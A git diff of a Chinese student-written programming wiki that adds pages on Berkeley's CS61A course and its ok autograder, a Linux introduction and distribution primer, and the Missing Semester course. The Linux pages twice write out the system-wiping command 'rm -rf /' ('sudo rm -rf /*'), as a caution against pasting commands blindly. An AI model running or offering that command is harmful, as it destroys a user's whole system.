+在这个目录下的文章上传的 pdf 基本都是英文的,还请做好准备。 + +在每个 disc、lab、hw 和 proj 下,都会有相对应的.zip 文件,文件里装的是在学习过程中所需要的代码。 + +在文章的最后会附上 sol。 + +当然,在没有头绪的时候,你可以选择参考 sol,也可以重新学习视频和教科书,也可以改变做题的顺序。 + +ps:哪怕是 cs61a 这样优秀的课程,给出的解决方案里也会有不是那么正确的代码(它并不能处理所有的情况) + +pps:如果你找到了 sol 里不是那么正确的代码,请联系我们,我们将新建一个文档来记录 sol 中这些“错误”的代码 + +ppps:当然存在“错误”的代码的概率很小,你发现它们的概率就更小了 + +pppps:不只是在 sol 文件中,youtube 上的视频中的代码也可能会出现一些小问题 + +## 为什么要学 CS61A? + +简单来说,学校的编程课只能教会你一些最基本的语法和代码逻辑,从学校的课程中,你很难学到一些实用的编程思想 (甚至一些老师自己也讲不明白)。一部分原因当然是老师上课完全没有想过如何渗透这些编程思想;还有一部分原因我认为是课后作业是在过于随意了,PTA 上的课后作业只是用来检测你是否掌握了一些最基础的语法,这样的题目是很难培养学生的编程思想的。 + +## 从 CS61A 中能学到什么? + +分语言来看,cs61a 讲了这三种语言: + +1. Python +2. Scheme +3. SQL + +分章节来看,cs61a 主要教了以下这些内容: + +1. 用函数构建抽象关系 + + 1. 函数与函数设计 + 2. 控制 + 3. 高级函数 + 4. 递归函数 +2. 用数据构建抽象关系 + + 1. 数据抽象 + 2. 可变数据 + 3. 面向对象编程 +3. 解释计算机程序 + + 1. 函数式编程 + 2. 异常 + 3. 解释器的开发 +4. 数据处理 + + 1. 声明式编程 + +## CS61A 好在哪里? + +~~暂且不考虑由于是伯克利大学的课程所以视频资料和教科书全是英文~~ + +每一节课程都有完备的视频资料和相对应的教科书,还有精心设计的 lab、hw、disc、proj + +所有题目都有完善的说明、例子、半自动的测试和批改,哪怕英语不是很好的同学也能理解到题目所要表达的意思 + +课程的设计目的是引导学生像计算机那样思考,在课程网站上有相当多的交互式页面来帮助你学习(不过因为我们没有伯克利大学的账号无法使用 🤪) + +课程中还推荐了一个学习 python 很好的网站,可以用来绘制环境图:[Python Tutor](http://tutor.cs61a.org/) + +~~(不像某些学校只会把学生丢进水池里,没淹死的都是学会游泳的好学生)~~ + +John Denero 教授的网课也是非常的有趣,如果你的英语够好,还能发现藏在视频里的一些小彩蛋 🤤 + +## 如何学习 CS61A? + +cs61a 绝对是一个挑战,但是我们都希望你学习并且成功,所以这里有一些可能对你的旅程有所帮助的小贴士: + +- 在 61A 中成功的方法有很多 ーー 我们发现下面的建议适用于几乎所有的学生,但是对不同的人最有效的方法是不同的,我们建议探索不同的学习和工作策略。~~如果你想和助教谈谈你的方法,我们有专门的~~~~咨询办公时间~~~~做这些事情!~~ +- 问问题 + + - 如果你遇到一些你不知道或不确定的概念或问题,_那就来问吧_~~。我们是来帮助你们学习的,如果你们提出一个问题,我们会告诉你们在哪些方面我们可以帮助你们理解这些材料。~~提出问题的过程本身也有助于你自己弄清楚你特别想问什么,从而找出你认为你可以学到更多的概念。 +- 小组学习 + + - 再次强调,这门课对于大多数学生来说都不是一门简单的课程,你可能会感到不知所措。给你的小伙伴们发送一个信息,并与班上的其他同学取得联系; 一起完成作业或一起学习准备考试,只要你不违反课程大纲中规定的诚实学习的[课程政策](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/about/#academic-misconduct)。 +- 当遇到问题时,试着组织语言来解释你遇到困难的地方。 + + - 这并不需要一个找到懂得如何解决问题的人 (或者甚至是一个人——这种做法通常被称为**橡皮鸭**,因为你可以把一只橡皮鸭当作你的练习对象) ,因为主要目标是让你弄清楚你自己的想法,弄清楚你的理解和代码到底在哪里卡住了。这样你可以知道应该专注于哪一部分,以便更好地理解。 +- 做所有的 hw(或者至少认真地尝试)。我们没有给出很多 hw 问题,但那些我们给你的可能会发现是具有挑战性、耗时且有回报的。 +- 做所有的 lab。其中大部分的设计更多的是作为一个课程材料的介绍,并可能需要半个小时左右的时间。这是一个熟悉新的知识点的好时机。 + +因为伯克利大学有着非常好的软硬件设施,所以在他们的课程体系中有助教和专门的论坛来辅助学习。杭电实在是没有这样的资源 🥲,所以在遇到问题的时候请先尝试独立解决,然后再和小伙伴们一起讨论,如果遇到实在解决不了的难题就来参考前人的 [GitHub](https://github.com/E1PsyCongroo/CS61A-FA22) 吧 + +## 如何使用 ok 进行代码测试? + +在 61a 中,我们使用一个名为 ok 的程序对 lab,hw 和 proj 进行自动评分。在你下载的每一份代码文件中,都应该找到 ok 程序。 + +确保在终端打开的路径下,包含 ok 和要测试的代码。 + +要使用 Ok 来运行指定函数的 doctests,请运行以下命令 + +```bash +python3 ok -q #会和你要补充的代码一起给出 +``` + +默认情况下,只有没有通过的测试才会出现。你可以使用-v 选项来显示所有的测试,包括你已经通过的测试 + +```bash +python3 ok -v +``` + +有时我们会看到类似这样的 ok 指令 + +```bash +python3 ok -q control -u +``` + +在终端中输入后,需要按照要求回答问题,有些时候会做为某些函数测试的前置条件 + +一般情况下,执行上述 ok 指令后,都会在终端里提示输入 Berkeley 账号进行提交,这时候输入 `Ctrl+C` 退出即可;不过我们可以在代码后面加上 `--local` 进行本地测试;所有的测试都可以本地完成,不需要联网 + +![](https://cdn.xyxsw.site/ok01.jpg) + +关于使用 Ok 命令的更多信息,请在[此处](https://inst.eecs.berkeley.edu/~cs61a/fa22/articles/using-ok/)了解更多 + +## 在学习过程中,你可以能会遇到的问题和解决方法 + +1. 在 CS61A 的学习过程中,你可能会找不到 61A 的每一个 lab、hw、disc、proj 的答案,这是因为 61A 是不断更新并进行授课的,所以每过一个季度 61A 是会进行换季的,所以为了避免这个问题,请尽早将 61A 主页的每一个答案保存下来。如果你已经遇到了这种问题,那么向已经学习了这门课的学长学姐求助是个不错的选择。 +2. 如果出现以下情况,这说明你的并没有在测试对象的目录进行测试,最简单解决办法就是在你对应位置的目录进行鼠标右键点击“在终端中打开”进行输入测试。 +![](https://cdn.xyxsw.site/ok02.png) + +3. 如果输入了命令后回车没有任何反应,请试试将测试代码的 python3 变为 python 或者 py 进行操作,如果还没有解决请仔细阅读 61A hw 部分的 Using ok,链接一般位于 HW 01 的开头。 +4. 如果在解决问题的过程中遇到了问题,那就多读几遍题目吧,题干中或许会给出 `Hint`,这可能很有用 + +这是 cs61a 的官网[https://cs61a.org/](https://cs61a.org/) + +如果你觉得全英教学对你来说比较困难,可以参考[2.5 以理工科的方式阅读英语](../2.高效学习/2.5以理工科的方式阅读英语.md) + +也可以看看我们本地化之后的 cs61a 课程,我们尽可能准确和符合中文阅读习惯地翻译了 textbook,但我们保留了作业中的英语(绝对不是因为偷懒),来锻炼同学们的英语能力 + +英文学习的痛苦比不上接触国外优秀课程带来的快乐,请保持初心,砥砺前进,祝愿同学们都能有一个有趣的学习体验 🥰 diff --git a/3.编程思维体系构建/3.6.5关于CS61A.md b/3.编程思维体系构建/3.6.5关于CS61A.md deleted file mode 100644 index 0d6e800..0000000 --- a/3.编程思维体系构建/3.6.5关于CS61A.md +++ /dev/null @@ -1,19 +0,0 @@ -# 关于 CS61A - -这是 CS 61A Fall 2022 的网站: - -[https://inst.eecs.berkeley.edu/~cs61a/fa22/](https://inst.eecs.berkeley.edu/~cs61a/fa22/) - -在这个目录下的文章上传的 pdf 基本都是英文的,还请做好准备。 - -在每个 disc、lab、hw 和 proj 下,都会有相对应的.zip 文件,文件里装的是在学习过程中所需要的代码。 - -在文章的最后会附上 sol。 - -当然,在没有头绪的时候,你可以选择参考 sol,也可以重新学习视频和教科书,也可以改变做题的顺序。 - -ps:哪怕是 cs61a 这样优秀的课程,给出的解决方案里也会有不是那么正确的代码(它并不能处理所有的情况) - -pps:如果你找到了 sol 里不是那么正确的代码,请联系我们,我们将新建一个文档来记录 sol 中这些“错误”的代码 - -ppps:当然存在“错误”的代码的概率很小,你发现它们的概率就更小了 diff --git a/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md b/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md index 0cdee98..c430822 100644 --- a/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md +++ b/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md @@ -1,7 +1,7 @@ # 3.X 聊聊设计模式和程序设计 -Author: yyl - Last revised 2022/08/07 +*Author: yyl + Last revised 2022/08/07* ## 前言 @@ -69,9 +69,9 @@ walk(dir); 此外,还有广义的设计模式,这块内容就很多了,但也是讨论如何降低代码复杂度的,包括: -1. 程序代码怎么组织(在开发 web 应用时这块经常有争议,可以参考 [https://cloud.tencent.com/developer/article/1837487](https://cloud.tencent.com/developer/article/1837487)) +1. 程序代码怎么组织(在开发 web 应用时这块经常有争议,可以参考 [浅析整洁架构之道 (二) 初步了解 The Clean Architecture](https://cloud.tencent.com/developer/article/1837487)) 2. 程序之间怎么组织(是放在一个编成个大的,还是微服务,还是用 FaaS 之类的变体) -3. 一些帮助减少程序复杂度的代码原则:[https://zhuanlan.zhihu.com/p/82324809](https://zhuanlan.zhihu.com/p/82324809) +3. 一些帮助减少程序复杂度的代码原则:[设计模式之 SOLID 原则](https://zhuanlan.zhihu.com/p/82324809) 这部分的学习不能操之过急。个人的建议是: diff --git a/3.编程思维体系构建/3.Y 附加模块:Linux.md b/3.编程思维体系构建/3.Y 附加模块:Linux.md index 09b4d7b..ed37e4d 100644 --- a/3.编程思维体系构建/3.Y 附加模块:Linux.md +++ b/3.编程思维体系构建/3.Y 附加模块:Linux.md @@ -1,14 +1,15 @@ # 附加模块:Linux -本来这个模块在编程模块内,但是鉴于大家都反应做这一块非常难,因此我将他提出作为一个额外的附加模块。 +::: warning 😇 本来这个模块在编程模块内,但是鉴于大家都反应做这一块非常难,因此我将他提出作为一个额外的附加模块。 如果你想尝试使用 Linux 编程或者想了解更多计算机科学领域知识,你可以学习并阅览本部分内容。 当然你也可以先尝试完成第三部分的一些内容再回过头解决本部分的内容。 可能会花费你大量的时间,并且让你感受到非常困难,但是可以保证的是:你的一切投入,都是有收获的。 +::: -# What???Linux??? +## What???Linux??? 大家可能知道我们的电脑是 Windows 作为操作系统的。 @@ -16,12 +17,12 @@ 它既免费也自由 (能知道它内部的实现),而且互联网上有丰富的 (英文) 文档。 -它的设计继承自 “Keep it simple, stupid” 的 UNIX,这个经典的设计背后的动机反而更容易为第一次接触操作系统的初学者所理解。让我们看看它的威力: +它的设计继承自“Keep it simple, stupid”的 UNIX,这个经典的设计背后的动机反而更容易为第一次接触操作系统的初学者所理解。让我们看看它的威力: - 首先,操作系统里的一切对象都用文件表示 (Everything is a file)。进程、设备……都可以在任何编程语言里用文件 API 访问。 -- Linux 的命令行 Shell 是一门编程语言——没错,你每天都在 “编程”!更准确地说,Shell 的功能就是把你想要做的事情 (类似自然语言描述的代码) 翻译成操作系统能看懂的文件/进程管理 API 调用。 +- Linux 的命令行 Shell 是一门编程语言——没错,你每天都在“编程”!更准确地说,Shell 的功能就是把你想要做的事情 (类似自然语言描述的代码) 翻译成操作系统能看懂的文件/进程管理 API 调用。 -# Why Linux??? +## Why Linux??? 作为一个双系统用户体验者来说,他除了玩游戏不那么方便以外,可以更为高效且便捷的办到 Windows 费很大力气才能办到的事情。 @@ -29,11 +30,11 @@ 并且目前,服务器上为了保证低损耗,高效率,基本上百分之九十九都是 Linux 的系统,实验室的服务器也是 Linux 系统。 -简单来说就是,你如果想干点事情,肯定要靠 Linux,因此学会 Linux 的操作是不可或缺的 +简单来说就是,你如果想干点事情,肯定要靠 Linux,因此学会 Linux 的操作是不可或缺的 -而且我个人认为,linux的自由性对于CSer来说非常适合,他不会阻止你干任何操作,你可以充分体会所以你的命令带来的影响(rm -rf /) +而且我个人认为,linux 的自由性对于 CSer 来说非常适合,他不会阻止你干任何操作,你可以充分体会所以你的命令带来的影响 (rm -rf /) -## GUI 与 CLI +### GUI 与 CLI 诚然,我们现在的图形化界面(GUI)已经深入到了生活的方方面面,但是优劣如何对比呢? @@ -41,26 +42,22 @@ 这篇文章详细对比了图形化界面和单纯的终端命令的优劣 -# How Linux??? +## How Linux??? 那么这么好的东西哪里可以获得呢? 因为 Linux 有诸多发行版本,我在这里建议大家使用 Ubuntu22.04 作为主要版本进行使用 -如果你很猛,去试试arch! +如果你很猛,去试试 arch! -任务:装 Ubuntu22.04或者debian,如果你想删了自己的系统,可以试试deepin,当然,也会有一些兼容性问题,不过很支持一些中文软件 +任务:装 Ubuntu22.04 或者 debian,如果你想删了自己的系统,可以试试 deepin,当然,也会有一些兼容性问题,不过会支持一些中文软件 -tip1:推荐这个 [3.Y.1VMware 的安装与安装 ubuntu22.04 系统](3.Y.1VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md) +tip1:推荐这个 [3.Y.3VMware 的安装与安装 ubuntu22.04 系统](3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md) -tip2:可以使用 WSL[3.Y.2WSL 的安装](3.Y.2WSL%E7%9A%84%E5%AE%89%E8%A3%85.md),但是我更建议实装到电脑上双系统之类的(我不建议 bug 很多 例如开不开机 要开好几回 网络连不上等),正好锻炼一下装系统倒腾的能力。大可不必删了 windows 换成 ubuntu。 +tip2:可以使用 WSL[3.Y.4WSL 的安装](3.Y.4WSL%E7%9A%84%E5%AE%89%E8%A3%85.md),但是我更建议实装到电脑上双系统之类的,正好锻炼一下装系统倒腾的能力。大可不必删了 windows 换成 ubuntu。 -tip3:前两个 tip 二选一 +tip3:前两个 tip 二选一。 -任务:阅读 GUI 与命令行之间对比的文章,尝试开始阅读英文文章 +在开始之前,建议先阅读[3.Y.1Linux概念普及](3.Y.1Linux概念普及.md),了解一些基本概念,**免得把系统搞坏了**,尤其是 WSL 有可能把 Windows 也一块带走,**之前就有群友做到过**。 -# 教程推荐 - -[https://missing-semester-cn.github.io/](https://missing-semester-cn.github.io/) - -计算机教育中缺失的一课 +任务:阅读 GUI 与命令行之间对比的文章,尝试开始阅读英文文章 diff --git a/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md b/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md new file mode 100644 index 0000000..fc4069a --- /dev/null +++ b/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md @@ -0,0 +1,31 @@ +# 计算机教育中缺失的一课 + +Author : ek1ng , Data : 2023.07.24 , Mail : + +## 计算机教育中缺失的一课 +> +> [https://missing-semester-cn.github.io/](https://missing-semester-cn.github.io/) +> [https://ek1ng.com/Missing%20Semester.html](https://ek1ng.com/Missing%20Semester.html) + +这是一份国外的课程,主要专注于各类工具的使用,可以看一看课程的介绍: + +>大学里的计算机课程通常专注于讲授从操作系统到机器学习这些学院派的课程或主题,而对于如何精通工具这一主题则往往会留给学生自行探索。在这个系列课程中,我们讲授命令行、强大的文本编辑器的使用、使用版本控制系统提供的多种特性等等。学生在他们受教育阶段就会和这些工具朝夕相处(在他们的职业生涯中更是这样)。 +>因此,花时间打磨使用这些工具的能力并能够最终熟练地、流畅地使用它们是非常有必要的。 + +以及相应的目录: + +- **1/13**: [课程概览与 shell](https://missing-semester-cn.github.io/2020/course-shell/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//course-shell-solution) +- **1/14**: [Shell 工具和脚本](https://missing-semester-cn.github.io/2020/shell-tools/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//shell-tools-solution) +- **1/15**: [编辑器 (Vim)](https://missing-semester-cn.github.io/2020/editors/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//editors-solution) +- **1/16**: [数据整理](https://missing-semester-cn.github.io/2020/data-wrangling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//data-wrangling-solution) +- **1/21**: [命令行环境](https://missing-semester-cn.github.io/2020/command-line/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//command-line-solution) +- **1/22**: [版本控制 (Git)](https://missing-semester-cn.github.io/2020/version-control/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//version-control-solution) +- **1/23**: [调试及性能分析](https://missing-semester-cn.github.io/2020/debugging-profiling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//debugging-profiling-solution) +- **1/27**: [元编程](https://missing-semester-cn.github.io/2020/metaprogramming/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//metaprogramming-solution) +- **1/28**: [安全和密码学](https://missing-semester-cn.github.io/2020/security/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//security-solution) +- **1/29**: [大杂烩](https://missing-semester-cn.github.io/2020/potpourri/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange) +- **1/30**: [提问&回答](https://missing-semester-cn.github.io/2020/qa/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange) + +目录中的内容和这份`Wiki`中不少内容重合,当然我觉得作为一份校园学生为爱发电多人合作编辑的`Wiki`,内容有重复冗余再所难免。我比较推荐以这份教材作为计算机工具的学习,下面是我大一时学习课程的一些记录,这些课程都比较缺少一些中文的文章,能够直接看英文的一些材料当然很好,但是如果遇到一些困难,也许你可以在这里找到我先前所踩的坑。 + +> [The Missing Semester of Your CS Education](https://ek1ng.com/Missing%20Semester.html) diff --git a/3.编程思维体系构建/3.Y.1Linux概念普及.md b/3.编程思维体系构建/3.Y.1Linux概念普及.md new file mode 100644 index 0000000..b0f2a8d --- /dev/null +++ b/3.编程思维体系构建/3.Y.1Linux概念普及.md @@ -0,0 +1,171 @@ +# Linux 概念普及 + +## Before Start + +在使用 Linux 之前,请确保自己会使用计算机。如果 Windows 都玩不转的,可以先补下基础知识。 + +- 什么是文件?什么是文件系统? +- 操作系统是干什么的? +- 软件是怎么运行起来的? + +## What is Linux Distribution + +Linux 不同于 Windows 和 macOS 这类系统,它没有官方维护的版本。Linux 的官方只负责维护核心,而给这个核心加上各种软件变成能用的操作系统的重任,就交给了下游的各个组织和公司。所谓发行版,就是把一系列的软件和核心放在一起,经过测试之后,做成一个完整的系统,分发给用户。 + +这个模式给 Linux 提供了多样性。用户可以选择适合自己的发行版。虽然在早期这使适配软件变得有些困难,使不同发行版割裂开来,给 Linux 的发展带来了阻碍。但是现在是 2023 年,随着包管理的规范化和新一代打包系统的兴起,这个状况得到了极大的改善。现在我们可以自由选取发行版,而不用过度担心软件适配的问题。 + +简而言之,GNU/Linux 加包管理加桌面约等于发行版,虽然不严谨,但是差不多贴近事实。 + +### Package Manager + +一般来说,一个 Linux 的发行版最核心的部分是包管理模式。这通常通过包管理器和软件源实现。 + +包 (package) 类似 Windows 的安装包,它包含了要安装的软件以及一些额外的信息,但是同 Windows 安装包不同,它只是一个压缩包,不能自己运行安装,必须经过包管理器。用户很少需要直接下载安装它,而是通过包管理器。我们也不鼓励安装不在仓库里面的包,如果系统软件源里面没有可以去 flatpak。至于某些专有软件,我更推荐丢进 Windows 10 LTSC 虚拟机。 + +包管理器 (package manager) 负责安装和管理软件包。它读取软件包,按照软件包的要求去安装它的依赖 (通常是一些运行库,就像 Windows 下面的 VC++ 和 .NET),然后自动把包安装到规定的位置。 + +软件源 (repository) 是用来存放软件包的网站。包管理器就是从软件源服务器上下载包的。因为软件源通常在国外,软件包下载可能会比较慢。所以我们一般使用国内各个高校的镜像源,修改软件源的地址就是所谓换源。 + +有些人可能会纠结软件装到哪里去了,是装在什么盘上面了。这个不需要管。因为 Linux 的目录的定义和 Windows 有很大不同,这使得一些 Windows 上面的繁琐操作在 Linux 上面很多余。 + +这些常见的包管理器 + +- apt(dpkg): apt 是 Debian 系发行版的包管理器。基本上提供 Linux 安装包的软件都会支持。 +- pacman: Arch 系的包管理器。可以使用 AUR(Arch User Repository),这里也能找到很多软件。 +- rpm: Red Hat 系的包管理器。包比较少。只是由于中文互联网有很多死去的 CentOS 的教程遗留,所以提出来介绍一下。 +- dnf: Fedora 的包管理器。 +- flatpak: 通用包管理器,是个 Linux 桌面端都能安装使用。使用的 flathub 软件源上面有非常丰富的桌面软件支持(甚至有 QQ),建议发行版软件源里面没有的都可以先看看 flathub 有没有,如果有就 flatpak 安装,而不是拿着网站上面下过来的 deb 文件手动安装,这样很容易搞坏系依赖管理。 +- snap: 通用包管理器,只有 Ubuntu 强推。我建议使用 Ubuntu 的把这个卸载了换成 flatpak 避免影响使用体验。 + +不同的包管理器决定了不同的发行版。因此一般用包管理器做发行版的分类依据。 + +### Desktop Environment + +桌面环境对用户而言当然也是很重要的,很大程度决定了用户体验。在 Linux 上面,桌面只是一些普通的程序,可以随便安装和更改。所以会有很多的桌面可供选择。不过这个选择一般来说发行版都帮你选好了。 + +#### Gnome + +Gnome 曾一度成为 Linux 桌面的代名词,因为很多发行版默认会安装这个桌面。Gnome 的风格比较独特,有点类似 macOS,但是有不少自己的东西。对触控板手势的适配不错。 + +开箱状态连任务栏和桌面图标都没有,好在可以手动安装。一般各个发行版默认安装了 dash-to-dock(任务栏),desktop-icons(桌面图标) 这些插件。 + +设置比较少,不过可以通过 gnome-tweaks 补上。这样基本的设置都能覆盖。 + +#### KDE + +KDE 也是非常热门的桌面。类似 Windows 的操作逻辑和极强的可定制性让他更适合 Linux“玩家”。 + +比较旧的版本里面可能会默认单击打开文件夹,可以在工作区 (workspace) 设置中改成双击。 + +KDE 的 GUI 功能做的还是不错的。而且提供了不少有用的套件。 + +Discover 应用商店可以直接使用发行版包管理器和 flatpak 进行安装,收录了很多软件,并且可以自动进行系统更新检查。 + +设置里面的选项很多,可以随便改。喜欢折腾的可以去看看 Theme,只是系统自带的主题安装器需要哈利波特才能使用。 + +自带的代理设置有些软件不会读,比如 Firefox, 给这些软件单独设置一下就行。 + +#### Cinnamon + +Cinnamon 目前大众的发行版只有 Linux Mint 在支持,但是这也是个不错的桌面,适合小白。 + +#### Xfce || LXQT + +如果你有一台老爷机,这两个桌面也许是个不错的选择。 + +#### Display Manager + +在开机登陆用户的时候,那个让你输密码的界面并不是桌面,而是 DM(Display Manager),如果你有多个桌面,可以在这里切换。 + +我建议不要管这个,发行版用什么就跟着用。如果要自己安装都建议 SDDM。 + +#### Wayland and X11 + +显示服务器是比桌面更底层的东西,处在系统内核和桌面之间,用来管理窗口。这个一般碰不到,只要了解你使用的是 X11 还是 Wayland 就行。X11 是老的,Wayland 是新的。 + +现在 (2023 年) 的时间点非常尴尬,处于 X11 和 Wayland 换代的节点上面。一方面 X11 太老旧了 (十几年没有大更新了) 对有些新事物支持不好,比如 2k 屏幕 1.5 倍缩放的屏幕撕裂问题。另一方面 Wayland 支持虽然已经大致完善,但是有些死硬派没跟上,说的就是你,Nvidia! + +好在大多数发行版并不需要纠结这些。非 N 卡的 Gnome 和 KDE 桌面基本都是 Wayland 了,其他的桌面环境或者使用 N 卡都会用 X11。 + +但是有些发行版可能忘了给 N 卡换 X11, **如果你桌面登不进去**,请检查自己的环境是否是 Wayland,如果是,**换成 X11**。 + +如果你 N 卡要强开 Wayland,请参照自己使用的发行版的 wiki 以及 Arch Linux wiki, 看看有什么需要注意的点。 + +## Distro + +大多数发行版是基于某几个特定的发行版魔改的。所以会有“系”的说法。常见的有 Debian 系,Arch 系 Red Hat 系和 SUSE 系。其中 Red Hat 系主要面向企业,桌面版除了 Fedora 并不多见。 + +服务器发行版建议 Debian,用 Ubuntu 也是可以的。如果在中文互联网找资料可能会见到 CentOS,但是 CentOS 如今已经停止维护了,所以看到之后绕着走就行。 + +在[3.Y.2 双系统安装和发行版推荐](./3.Y.2双系统安装和发行版推荐.md) 推荐的发行版都是针对**双系统/单系统方案**的,因为在实机安装日常使用的时候,发行版对体验的影响才会体现出来,这样我写下的文字就会帮你剩下不少时间。 + +**对于虚拟机**,你不会在乎用户体验的,安装完新鲜感一过肯定就不打开了,偶尔遇到什么必须要用 Linux 的需求才会突然想起来有这个虚拟机。所以发行版**选择 Ubuntu 即可**,毕竟人气最高。要是对着百度上面刚刚找到的教程一顿猛敲之后,发现发行版不一样,那 Linux 就又风评被害了。 + +在安装系统的时候,建议安装时统一使用 English,装好之后再换成中文或者干脆不换。 + +对某些很新的硬件,比如 13 代酷睿和 40 系 N 卡 (2023 年),在其他发行版出现兼容性问题的情况下,可以使用 Debian 或者 Arch Linux 等等靠近上游的发行版,他们通常支持得比较好。 + +## Linux How to? + +### Directory + +在 Linux 中,文件目录结构与 Windows 完全不同。Windows 存在 C 盘、D 盘等盘符,而在 Linux 中不存在这些划分,最上层的目录是根目录,路径为 `/` ,并以一个树形结构从此向下一级一级区分。没有盘符,只有路径。虽然可以多分区,但是分区是挂载到某个路径的,而不是分配盘符。用 Windows 的思维去理解就是盘符没了,全部挂进文件夹里面了,从 / 开始是根分区,就像 C 盘,`/` 底下有 `usr` `home` `var` 等等文件夹,这些文件夹可以是普通文件夹,也可以让其他磁盘分区当这个文件夹。分区还可以挂载到 `/media/root/abcd` 。这样的好处很明显,就是在路径上面模糊了分区,分区的地位和普通文件夹差不多了,非常简单,对写程序很友好。 + +因为舍弃了盘符的概念,一般我们在 Linux 系统上仅仅使用一个挂载到 `/` 的分区 (简称 `/` 分区) 或者一个 `/` 分区和一个 `/home` 分区。这样分区可以得到充足的空间,所以不会出现 C 盘装满了或者 C 盘文件多导致开机慢的情况,也就没有必要支持自定义的安装目录。 + +对于 Linux 的树形文件结构,存在相对路径与绝对路径之分。绝对路径是代表从根路径 `/` 开始的完整路径,如 `/home/testuser/Download`。相对路径代表从当前目录,到目标目录的一个部分路径。比如当前你所在的目录为 `/home/testuser`,那么切换到绝对路径 `/home/testuser/Download` 的相对路径即为 `./Download`。其中 `./` 代表从当前目录,再向下寻找。另外,`..` 这种两个句点代表的是向上层寻找,比如你当前所在的路径为 `/home/testuser/Download`,向上寻找到 `/home/testuser/Desktop` 的相对路径即为 `../Desktop`。 + +当前用户的 home 文件夹简称为 `~/`,假设我们的用户名是 `user`: + +```bash +user@computer:~$ cd ~/ +user@computer:~$ pwd +/home/user +``` + +### User + +Linux 在设计之初就是一个多用户操作系统,不像潜伏在多用户操作系统里面的纯正单用户操作系统 Windows。 + +![](https://cdn.xyxsw.site/windows-single-user.jpeg) + +因此,Linux 对于用户和权限的管理比较严格,可能经常要你输 root 密码。 + +简单来说,Linux 中存在两类用户。第一类用户即为 root 用户,也称为超级用户,它拥有系统中最高的权限。第二类用户就是除了 root 用户的普通用户,他们可以拥有不同等级的权限。使用 root 权限时需要十分小心。 + +一般情况下,我们使用的都是普通用户。但是要进行一些涉及较高权限的操作,比如安装软件和修改系统设置的的时候,我们就会使用 sudo 软件临时切换到 root 用户进行操作。 + +```bash +# 一些例子。 +# 当你尝试安装 vim ,却忘记了 sudo +$ apt install vim +E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied) +E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root? +# 这样就可以安装了 +$ sudo apt install vim +``` + +切记,root 权限的使用要小心,不要随便粘贴指令!一条命令就可以干掉整个系统,比如 `sudo rm -rf /*`! + +### 本土化 + +想要正常使用系统,哈利波特是必须的。建议跟着[这篇教程](https://arch.icekylin.online/guide/rookie/transparent.html)走,但是 Debian 系没有这个软件,自己去 Github 上面找这个软件。 + +发行版会有一个全局的代理设置,但是有些软件就是不肯自己读取,点名 Firefox。不过好办,分别单独设置就行。 + +由于海外的服务器下载慢,我们会把软件源换成国内各个高校的镜像。这点参考镜像站给出的教程。 + +输入法一律推荐 fcitx5 搭配 fcitx5-chinese-addons,并打开云拼音。不推荐 rime,太老了。强烈不推荐搜狗,搜狗根本不懂 Linux。一般来说 Debian 系的发行版都有一个叫做 im-config 的软件包负责管理输入法,快捷方式名字通常是叫做 Input Method,在这里切换到 fcitx5 就行。Arch Linux 系则需要自己设置环境变量。 + +### 如何寻求帮助 + 